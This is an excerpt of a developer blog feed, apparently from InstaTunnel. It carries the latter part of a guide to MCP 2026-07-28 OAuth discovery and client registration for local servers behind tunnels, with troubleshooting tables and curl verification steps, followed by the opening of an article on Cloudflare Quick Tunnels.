&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://agent.example.com/oauth/client.json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Example MCP Client"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"redirect_uris"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"https://agent.example.com/callback"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"grant_types"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"authorization_code"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"response_types"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"token_endpoint_auth_method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;VS Code, for example, hosts its client metadata document at &lt;code&gt;vscode.dev/oauth/client-metadata.json&lt;/code&gt;, so no registration endpoint is involved. CIMD client IDs are also portable. Nothing needs re-registering when the authorization server changes.&lt;/p&gt;

&lt;h3&gt;
  
  
  What happened to DCR
&lt;/h3&gt;

&lt;p&gt;DCR is &lt;strong&gt;deprecated, not removed&lt;/strong&gt;. It remains for backward compatibility with authorization servers that lack CIMD support. Under the lifecycle policy adopted in the same release, a deprecated feature stays for at least twelve months. Removal is eligible no earlier than the first revision on or after 2027-07-28. If you still use DCR, clients must now send an appropriate &lt;code&gt;application_type&lt;/code&gt;. The spec says &lt;code&gt;native&lt;/code&gt; for desktop, CLI, and localhost apps and &lt;code&gt;web&lt;/code&gt; for remote browser-based ones. Omitting it defaults to &lt;code&gt;web&lt;/code&gt; under OpenID Connect, which collides with a native redirect URI.&lt;/p&gt;

&lt;p&gt;DCR also has an operational cost. Anthropic’s documentation says Claude registers a new client on every fresh DCR connection, which can leave very large numbers of client records on your authorization server. For high-traffic servers it recommends CIMD or Anthropic-held credentials.&lt;/p&gt;

&lt;p&gt;One maturity note. The spec cites &lt;code&gt;draft-ietf-oauth-client-id-metadata-document-00&lt;/code&gt;, while the IETF draft had reached -02 by July 6, 2026. The spec also cites OAuth 2.1 draft -13, and OAuth 2.1 is still an Internet-Draft, with -16 published in September 2026. Pin your reading to the dated spec revision.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where tunnels break discovery
&lt;/h2&gt;

&lt;p&gt;Most failures here are not OAuth bugs. They are transport and routing bugs that look like OAuth bugs.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Likely cause&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Client says “no authorization server found”, or Claude reports it “couldn’t reach the MCP server” while your authorization server sees no traffic&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/.well-known/*&lt;/code&gt; isn’t routed through the tunnel, returns HTML or a 404, and the 401 has no &lt;code&gt;resource_metadata&lt;/code&gt; pointer&lt;/td&gt;
&lt;td&gt;Route the whole well-known prefix, or serve metadata at a path you do route and point &lt;code&gt;resource_metadata&lt;/code&gt; at it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sign-in never starts in Claude&lt;/td&gt;
&lt;td&gt;Your server returns &lt;code&gt;200&lt;/code&gt; with a &lt;code&gt;WWW-Authenticate&lt;/code&gt; header&lt;/td&gt;
&lt;td&gt;Return a real &lt;code&gt;401&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;resource_metadata&lt;/code&gt; URL contains &lt;code&gt;localhost&lt;/code&gt; or &lt;code&gt;http://&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;App builds URLs from the local request and ignores forwarded headers&lt;/td&gt;
&lt;td&gt;Configure a fixed public base URL, or trust &lt;code&gt;X-Forwarded-Host&lt;/code&gt; and &lt;code&gt;X-Forwarded-Proto&lt;/code&gt; from the tunnel (for example Express’s &lt;code&gt;trust proxy&lt;/code&gt; setting or Uvicorn’s &lt;code&gt;--proxy-headers&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metadata fetch returns 401 or a login page&lt;/td&gt;
&lt;td&gt;A tunnel-level password or access gate sits in front of discovery&lt;/td&gt;
&lt;td&gt;Exempt &lt;code&gt;/.well-known/&lt;/code&gt; and unauthenticated probes of &lt;code&gt;/mcp&lt;/code&gt;, because the client has no token yet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metadata fetch returns an HTML warning page&lt;/td&gt;
&lt;td&gt;Free-tier ngrok injects an interstitial in front of HTML browser traffic&lt;/td&gt;
&lt;td&gt;Programmatic API clients aren’t affected, but browser-based tests are. Send an &lt;code&gt;ngrok-skip-browser-warning&lt;/code&gt; header, use a non-standard &lt;code&gt;User-Agent&lt;/code&gt;, or upgrade&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Requests rejected only through the tunnel&lt;/td&gt;
&lt;td&gt;Dev-server host allowlists or DNS-rebinding protection don’t recognize the tunnel hostname&lt;/td&gt;
&lt;td&gt;Add the tunnel hostname to the allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;resource&lt;/code&gt; mismatch error&lt;/td&gt;
&lt;td&gt;Metadata says &lt;code&gt;/mcp&lt;/code&gt; but the client called a different path&lt;/td&gt;
&lt;td&gt;Match the canonical URI to the exact URL users paste into the client&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token rejected after restart&lt;/td&gt;
&lt;td&gt;Tunnel URL changed, so the audience no longer matches&lt;/td&gt;
&lt;td&gt;Use a reserved hostname&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intermittent connection failures&lt;/td&gt;
&lt;td&gt;Claude gives discovery, registration, and token endpoints 10 seconds (30 for refresh); a slow tunnel path or cold start can exceed it&lt;/td&gt;
&lt;td&gt;Keep endpoints fast and avoid buffering behind upstream work&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery works from your laptop but fails from the client&lt;/td&gt;
&lt;td&gt;A WAF or conditional-access rule blocks the vendor’s egress traffic&lt;/td&gt;
&lt;td&gt;Allowlist the vendor’s published range (Anthropic lists &lt;code&gt;160.79.104.0/21&lt;/code&gt;) on your MCP server and your identity provider&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authorization server cannot fetch your CIMD&lt;/td&gt;
&lt;td&gt;Document is on a private address or behind a redirect&lt;/td&gt;
&lt;td&gt;Host it on a public HTTPS URL that responds directly with a 200&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Gating a tunnel behind a login is a fine development habit, but discovery is &lt;em&gt;designed&lt;/em&gt; to be reachable without credentials. Enforce authentication on the MCP endpoint through token validation, not on the discovery documents. Also make sure the tunnel forwards the &lt;code&gt;Authorization&lt;/code&gt;, &lt;code&gt;Mcp-Method&lt;/code&gt;, &lt;code&gt;Mcp-Name&lt;/code&gt;, and &lt;code&gt;MCP-Protocol-Version&lt;/code&gt; headers unchanged.&lt;/p&gt;

&lt;p&gt;If you are developing a &lt;em&gt;client&lt;/em&gt;, note that Scalekit’s reading of the current IETF draft is that authorization servers should not follow redirects or fetch private addresses, because fetching a client-chosen URL is a server-side request forgery risk. Serve your metadata document directly from a public HTTPS URL. Some hosted servers go further. Medusa’s cloud MCP server only fetches metadata documents from hosts it has approved and does not follow redirects. The spec also states that CIMD alone cannot prevent localhost redirect-URI impersonation. Authorization servers should show extra warnings for localhost-only redirect URIs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verify the chain with curl before you test a client
&lt;/h2&gt;

&lt;p&gt;Run these against your public tunnel hostname, not localhost. They mirror what a compliant client does.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Unauthenticated MCP request: expect 401 + WWW-Authenticate&lt;/span&gt;
curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://mcp-dev.example.com/mcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/json, text/event-stream"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"MCP-Protocol-Version: 2026-07-28"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Mcp-Method: tools/list"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{"_meta":{"io.modelcontextprotocol/protocolVersion":"2026-07-28","io.modelcontextprotocol/clientCapabilities":{}}}}'&lt;/span&gt;

&lt;span class="c"&gt;# 2. Fetch the metadata URL from that header: expect JSON&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://mcp-dev.example.com/.well-known/oauth-protected-resource/mcp | jq

&lt;span class="c"&gt;# 3. Confirm the authorization server is reachable and advertises PKCE, CIMD and iss support&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://auth.example.com/.well-known/oauth-authorization-server | jq &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'{issuer, code_challenge_methods_supported, client_id_metadata_document_supported,
    token_endpoint_auth_methods_supported, authorization_response_iss_parameter_supported}'&lt;/span&gt;

&lt;span class="c"&gt;# 4. (Client developers) Check your CIMD answers 200 directly, with no redirect&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code} %{redirect_url}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; https://agent.example.com/oauth/client.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What you are checking:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Step 1&lt;/strong&gt; returns &lt;code&gt;401&lt;/code&gt; with a &lt;code&gt;resource_metadata&lt;/code&gt; URL on your public &lt;code&gt;https://&lt;/code&gt; hostname. The 2026-07-28 spec replaced the old HTTP GET endpoint, so a bare GET to &lt;code&gt;/mcp&lt;/code&gt; may not return what you expect. The 401 should come back before the server looks at the body.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 2&lt;/strong&gt; returns JSON whose &lt;code&gt;resource&lt;/code&gt; exactly equals the URL clients use.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 3&lt;/strong&gt; shows &lt;code&gt;S256&lt;/code&gt; in &lt;code&gt;code_challenge_methods_supported&lt;/code&gt;. For Claude’s CIMD path, it must also show &lt;code&gt;client_id_metadata_document_supported: true&lt;/code&gt; and &lt;code&gt;"none"&lt;/code&gt; in &lt;code&gt;token_endpoint_auth_methods_supported&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step 4&lt;/strong&gt; prints &lt;code&gt;200&lt;/code&gt; and an empty redirect URL.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What real clients do with all this
&lt;/h2&gt;

&lt;p&gt;Client behavior is uneven. This table reflects each vendor’s own documentation as of November 2026. The VS Code row relies on secondary write-ups of its CIMD support.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Client&lt;/th&gt;
&lt;th&gt;Registration&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude (claude.ai, Desktop, mobile)&lt;/td&gt;
&lt;td&gt;CIMD, DCR, Anthropic-held credentials, or a client the customer enters&lt;/td&gt;
&lt;td&gt;Uses CIMD only when your metadata advertises both &lt;code&gt;client_id_metadata_document_supported: true&lt;/code&gt; and &lt;code&gt;"none"&lt;/code&gt; in &lt;code&gt;token_endpoint_auth_methods_supported&lt;/code&gt;, otherwise DCR. Uses only the first entry in &lt;code&gt;authorization_servers&lt;/code&gt;. Redirect URI is &lt;code&gt;https://claude.ai/api/mcp/auth_callback&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;CIMD or DCR, or pre-configured credentials&lt;/td&gt;
&lt;td&gt;Uses a loopback redirect on an ephemeral port, so match &lt;code&gt;localhost&lt;/code&gt; and &lt;code&gt;127.0.0.1&lt;/code&gt; without the port.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChatGPT&lt;/td&gt;
&lt;td&gt;CIMD preferred; DCR and predefined OAuth clients supported&lt;/td&gt;
&lt;td&gt;Requires &lt;code&gt;S256&lt;/code&gt; in &lt;code&gt;code_challenge_methods_supported&lt;/code&gt;. Sends &lt;code&gt;resource&lt;/code&gt; on both the authorization and token requests. Supports RFC 9207 issuer identification.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VS Code&lt;/td&gt;
&lt;td&gt;CIMD (client document at &lt;code&gt;vscode.dev/oauth/client-metadata.json&lt;/code&gt;) or a configured &lt;code&gt;oauth.clientId&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Redirects to a loopback address.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cursor&lt;/td&gt;
&lt;td&gt;DCR, or a static client ID and secret in &lt;code&gt;mcp.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Uses the fixed redirect URL &lt;code&gt;cursor://anysphere.cursor-mcp/oauth/callback&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Vercel’s guidance is blunt: client adoption of the 2026-07-28 spec lags its release. Keep DCR enabled for now, default to CIMD, and list your primary authorization server first. That last point matters because Claude ignores later entries. Clients that run on your own machine, such as Claude Code, can usually reach &lt;code&gt;localhost&lt;/code&gt; without a tunnel. The tunnel is for hosted clients that connect from the vendor’s cloud.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is not optional: the 40% problem
&lt;/h2&gt;

&lt;p&gt;Why did the ecosystem need tighter rules? A May 2026 preprint by Zhou and colleagues at Fudan University and Central South University measured authentication across real-world remote MCP servers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It identified 7,973 live remote MCP servers.&lt;/li&gt;
&lt;li&gt;3,233 of them (40.55%) exposed tools with no authentication.&lt;/li&gt;
&lt;li&gt;2,428 (30.45%) used OAuth, and 2,312 (about 29%) relied on static tokens or API keys.&lt;/li&gt;
&lt;li&gt;The authors then tested 119 OAuth-enabled servers in depth. Every one had at least one flaw, 325 in total.&lt;/li&gt;
&lt;li&gt;DCR-related flaws appeared in 96.6% of them, and consent-page bypass was confirmed on 72.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three caveats apply. It is a preprint, not a peer-reviewed paper. It measured servers implementing revisions up to 2025-11-25, so its numbers predate this spec. And most of the unauthenticated servers the researchers sampled were test or demo deployments, though one was an internal CRM left open by mistake.&lt;/p&gt;

&lt;p&gt;A server with no authentication is technically conformant, since authorization remains optional. But a tunnel makes the exposure concrete: you have published a tool-calling endpoint to the open internet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is OAuth required for every MCP server?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
No. Authorization is optional in the spec. HTTP-based transports should conform to it, while STDIO servers should not and should read credentials from the environment instead.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is Dynamic Client Registration removed in MCP 2026-07-28?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
No. It is deprecated, retained as a fallback for authorization servers without CIMD support, and not eligible for removal before the first revision on or after 2027-07-28.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the &lt;code&gt;resource&lt;/code&gt; parameter, and can I skip it?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
It is the RFC 8707 resource indicator naming the MCP server a token is for. Clients must send it on both the authorization and token requests, regardless of authorization server support. Your server must then reject tokens whose audience doesn’t identify it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do I need CIMD support to work with Claude?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Not strictly. Claude falls back to DCR when your metadata doesn’t advertise both CIMD values. For high-traffic servers, Anthropic recommends CIMD or Anthropic-held credentials, because DCR creates a new client record on every fresh connection.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bottom line
&lt;/h2&gt;

&lt;p&gt;The 2026-07-28 spec moves MCP authentication from “bring your own token” toward a defined, checkable protocol. For local servers behind a tunnel, that comes down to three habits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;stable public URL&lt;/strong&gt; that serves as your audience.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discovery documents that resolve cleanly&lt;/strong&gt; through the tunnel, with no login or interstitial in front of them.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;CIMD-first&lt;/strong&gt; registration story, with DCR kept only as a fallback.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Get those right and clients like Claude, ChatGPT, and VS Code can connect without manual setup. Get them wrong and the failure shows up as a cryptic error before your server’s own code ever runs.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization" rel="noopener noreferrer"&gt;MCP authorization specification, 2026-07-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/authorization-server-discovery.md" rel="noopener noreferrer"&gt;MCP authorization server discovery, 2026-07-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/client-registration" rel="noopener noreferrer"&gt;MCP client registration, 2026-07-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations.md" rel="noopener noreferrer"&gt;MCP authorization security considerations, 2026-07-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/changelog" rel="noopener noreferrer"&gt;MCP key changes, 2026-07-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2025-11-25/changelog" rel="noopener noreferrer"&gt;MCP key changes, 2025-11-25&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.modelcontextprotocol.io/posts/2026-07-28/" rel="noopener noreferrer"&gt;The 2026-07-28 Specification, MCP blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://workos.com/blog/mcp-2026-spec-agent-authentication" rel="noopener noreferrer"&gt;The biggest MCP spec update ships July 28, WorkOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.scalekit.com/blog/mcp-authorization-guide" rel="noopener noreferrer"&gt;MCP authorization guide: OAuth 2.1, resource metadata, CIMD and DCR, Scalekit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ssojet.com/blog/mcp-authentication-oauth-tokens-security-ai-connections" rel="noopener noreferrer"&gt;MCP Authentication: What the 2026-07-28 Spec Requires, SSOJet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zuplo.com/learn/mcp/glossary/credentials" rel="noopener noreferrer"&gt;Credentials glossary: DCR and CIMD status, Zuplo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vercel.com/i/mcp-server-oauth-authorization" rel="noopener noreferrer"&gt;MCP server OAuth authorization, Vercel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://claude.com/docs/connectors/building/authentication" rel="noopener noreferrer"&gt;Authentication for connectors, Claude documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.openai.com/apps-sdk/build/auth" rel="noopener noreferrer"&gt;Authentication, OpenAI Apps SDK documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cursor.com/docs/mcp.md" rel="noopener noreferrer"&gt;Model Context Protocol, Cursor documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://den.dev/blog/cimd-vs-code-mcp/" rel="noopener noreferrer"&gt;CIMD in Visual Studio Code for MCP, den.dev&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.medusajs.com/cloud/medusa-mcp/custom-agents/index.html.md" rel="noopener noreferrer"&gt;Connect a custom agent to the Medusa MCP server, Medusa docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ngrok.com/docs/pricing-limits/free-plan-limits/" rel="noopener noreferrer"&gt;ngrok free plan limits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/sandbox/api/tunnels/" rel="noopener noreferrer"&gt;Tunnels, Cloudflare documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cdn.jsdelivr.net/npm/instatunnel@1.1.23/README.md" rel="noopener noreferrer"&gt;InstaTunnel README&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://arxiv.org/html/2605.22333v1" rel="noopener noreferrer"&gt;A First Measurement Study on Authentication Security in Real-World Remote MCP Servers, arXiv:2605.22333&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securityboulevard.com/2026/08/how-mcp-authorization-actually-works-oauth-2-1-resource-servers-and-resource-indicators/" rel="noopener noreferrer"&gt;How MCP Authorization Actually Works, Security Boulevard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.netizen.net/2026/07/09/remote-mcp-servers-are-turning-oauth-into-an-ai-agent-security-boundary/" rel="noopener noreferrer"&gt;Remote MCP Servers Are Turning OAuth Into an AI Agent Security Boundary, Netizen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-16.txt" rel="noopener noreferrer"&gt;The OAuth 2.1 Authorization Framework, draft-ietf-oauth-v2-1-16&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc9728" rel="noopener noreferrer"&gt;RFC 9728, OAuth 2.0 Protected Resource Metadata&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.rfc-editor.org/rfc/rfc8707.html" rel="noopener noreferrer"&gt;RFC 8707, Resource Indicators for OAuth 2.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc9207" rel="noopener noreferrer"&gt;RFC 9207, OAuth 2.0 Authorization Server Issuer Identification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/mcp-auth-gets-real-what-the-2026-07-28-spec-means-for-local-mcp-servers-behind-a-tunnel" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/mcp-auth-gets-real-what-the-2026-07-28-spec-means-for-local-mcp-servers-behind-a-tunnel&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
    </item>
    <item>
      <title>After the Quick Tunnels Moment: What Account-Less Tunnels Get Right, and Where They Stop</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Sat, 31 Oct 2026 01:43:00 +0000</pubDate>
      <link>https://dev.to/instatunnel/after-the-quick-tunnels-moment-what-account-less-tunnels-get-right-and-where-they-stop-52bb</link>
      <guid>https://dev.to/instatunnel/after-the-quick-tunnels-moment-what-account-less-tunnels-get-right-and-where-they-stop-52bb</guid>
      <description>&lt;p&gt;On September 18, 2026, a link to Cloudflare’s Quick Tunnels page climbed to the top of Hacker News, collecting more than 800 points and 300 comments, according to Cloudflare’s own write-up. Two weeks later, on October 2, Cloudflare shipped email-gated access for the same feature: add an &lt;code&gt;--allowed-mail&lt;/code&gt; flag and only the people you name can open your tunnel.&lt;/p&gt;

&lt;p&gt;Quick Tunnels are not new. Cloudflare launched them on September 2, 2021, in a post by the summer intern who built them. What changed is how many developers, and how many coding agents, now reach for a one-command public URL. That makes it worth reading the documented limits calmly before you build a workflow on top of them.&lt;/p&gt;

&lt;p&gt;This article covers what account-less tunnels do well, where the documentation says they stop, and which jobs suit a stable-subdomain tunnel.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Facts below were checked against Cloudflare’s documentation and changelog, and against each vendor’s own docs, on October 31, 2026. Disclosure: this article is published on the InstaTunnel blog, and InstaTunnel appears as one example in the stable-subdomain section.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a Cloudflare Quick Tunnel?
&lt;/h2&gt;

&lt;p&gt;A Quick Tunnel is a temporary public URL on &lt;code&gt;trycloudflare.com&lt;/code&gt; that forwards traffic to a service on your machine. You need no Cloudflare account and no domain. The whole setup is one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cloudflared tunnel &lt;span class="nt"&gt;--url&lt;/span&gt; http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cloudflared&lt;/code&gt; prints a random hostname. Visitors reach it over HTTPS, the request travels down an outbound connection your machine opened to Cloudflare, and your local server answers. Your router never accepts an inbound connection. Cloudflare’s docs state the trade-off plainly: anyone with the URL can reach your local service, and the URL stops working when you stop the &lt;code&gt;cloudflared&lt;/code&gt; process.&lt;/p&gt;

&lt;p&gt;Cloudflare’s 2021 launch post explains the mechanics. A Cloudflare Worker generates the random subdomain, a DNS record is created for it, and a scheduled job deletes tunnels that have been disconnected for more than five minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why account-less tunnels caught on
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Zero signup friction.&lt;/strong&gt; Before Quick Tunnels, the 2021 post says, trying Cloudflare Tunnel meant creating an account, adding a website, changing nameservers and waiting for DNS propagation. For a developer showing a half-finished build to a client, skipping all of that is the appeal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Agents can run it unattended.&lt;/strong&gt; A coding agent cannot fill in a signup form, but it can run a shell command. Cloudflare’s announcement describes agents using Quick Tunnels to show previews, expose a local MCP server, or reach a machine at home. Adding &lt;code&gt;--output json&lt;/code&gt; makes each log line a JSON object. Flavio Copes tested this and found the URL is still embedded inside the &lt;code&gt;message&lt;/code&gt; field, so a program still has to pattern-match it out of the line.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real HTTPS from localhost.&lt;/strong&gt; Browsers limit APIs such as the camera, geolocation and service workers to secure contexts. Your phone treats a plain-HTTP LAN address as insecure, while a tunnel URL is a real HTTPS origin.&lt;/p&gt;

